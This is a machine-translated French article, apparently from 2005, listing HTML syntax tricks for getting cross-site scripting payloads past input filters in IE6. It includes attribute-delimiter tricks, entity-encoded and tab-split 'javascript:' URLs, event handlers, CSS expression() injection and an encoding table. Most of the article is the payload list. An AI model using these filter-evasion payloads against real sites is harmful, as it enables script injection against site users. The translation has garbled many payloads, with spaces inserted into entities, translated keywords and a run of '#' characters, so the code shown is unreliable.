This page has been robot translated, sorry for typos if any. Original content here.

Caractéristiques de la syntaxe HTML

Créateurs: Algol , zFailure - dernières modifications 13.06.2005

L'une des principales méthodes de protection des sites contre les vulnérabilités XSS consiste à utiliser différents filtres pour les caractères de saisie utilisateur. Cet article décrit les fonctionnalités de la syntaxe HTML, qui vous permettent de contourner ces filtres.

Il convient de noter que les vulnérabilités XSS dépendent du navigateur. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou dans d'autres navigateurs, les exemples peuvent également ne pas fonctionner. Par exemple, le caractère de l'apostrophe inverse (`) est un délimiteur d'attribut uniquement dans IE. Les autres navigateurs, tels que Opera, par exemple, ne considèrent pas ce symbole comme trompeur.

  • Délimiteurs d'attributs d'étiquette.
    En plus de l'espace, il est permis d'utiliser les symboles: barre oblique ( / ), tabulation, saut de ligne. Le délimiteur peut être omis si l'affiliation précédente est placée entre guillemets.
     <image / src = "1.png" / alt = "Hint" / border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
     <image
     src = "1.png"
     alt = "Astuce"
     border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
    
  • Limiteurs d'attributs de balises
    Les valeurs peuvent être placées entre guillemets (double également simple) également dans les apostrophes, seule l'autorisation générale n'est pas restreinte.
     <image src = "" alt = "Mon conseil" border = "0">
     <image src = "" alt = 'Mon conseil' border = "0">
     <image src = "" alt = `Mon tip` border =" 0 ">
     <image src = "" alt = Tip border = "0">
    
  • Encodages de caractères
    Le déchiffrement des symboles dans le script a lieu avant son exécution:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & ################################################################################################################################################################################
     <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (uniquement dans l'attribut href )
    
    
  • Limiteurs de littéraux de caractères dans les scripts
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Contournement par filtrage de certains caractères
      <img src = javascript: i = new / ** / Image ();
    
  • Façons d'exécuter des scripts
    Plusieurs façons d'exécuter automatiquement des scripts:
      <script> alert ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Actualiser le contenu = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok')))>
     <span style = top: expression (alerte ('ok')))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (ne fonctionne qu'une seule fois) <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <nom param = url value = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (uniquement dans IE) <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (lancement uniquement en cliquant sur le lien) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> cliquez sur moi </a> (lancement uniquement en cliquant sur le lien) <br SIZE = "& {alert ('XSS')} "> (uniquement Netscape 4.x)
    
    
  • Différents protocoles de script, façons de les écrire
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (espace jusqu’à javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "javascript
     : alert () "> (avant les deux points - le caractère de tabulation)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (dans le mot javascript - le caractère de tabulation renvoie également le chariot)
     
    
  • Insérer des scripts avec style
    Les opérateurs de script dans l'attribut de style doivent diviser " \; ".
     <hr style = 'background: url (javascript: alert (' ok 1 ') \; alert (' ok 2 ')) `>
    
  • Étiquettes spéciales
      <image src = "1.png" alt = "" border = "0"> (l'img fonctionne également de la même manière) <texte en clair> (tout ce qui se déplace après cette balise sera traité en texte brut - pas HTML) <textarea> (tout ce qui bougera plus tard cette balise sera perçue comme du texte brut - pas du HTML en aucune façon) <xml> (tout ce qui bougera plus tard, cette balise ne sera pas affichée)
    
    
  • Tableau des codes fréquemment utilisés:

    Symbole Encodage décimal 16ème encodage de caractères * Encodage de caractères Encodage d'URL
    " & # 34 & # x22; & quot; % 22
    ' & # 39 & # x27; % 27
    " & # 96 & # x60; % 60
    <espace> & # 32 & # x20; +
    <onglet> & # 9 & # x09; % 09
    <retour chariot> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt; lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <tiret court> & # 173 & # xAD; & timide % AD
    Et & # 38 & # x26; & amp % 26

    * -Dans certains cas, un point-virgule peut être omis (si le caractère se trouve à la fin de la ligne, ou s'il y a plusieurs caractères dans cet encodage).

    Voir similaire: http://ha.ckers.org/xss.html
  • Il ne sera pas superflu que vos amis connaissent ces informations, partagent leur article avec eux!

    Développer / Réduire Expand / Collapse box with comments

    Les commentaires

    En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les gens réels, montrer du respect et de la tolérance à vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de liberté d'expression et d'anonymat fournies par Internet. non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    Maintenant, tout le monde peut publier des articles
    Essayez-le d'abord!
    L'a aimé? Abonnez-vous aux nouvelles RSS ,
    être le premier à recevoir des informations
    sur tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: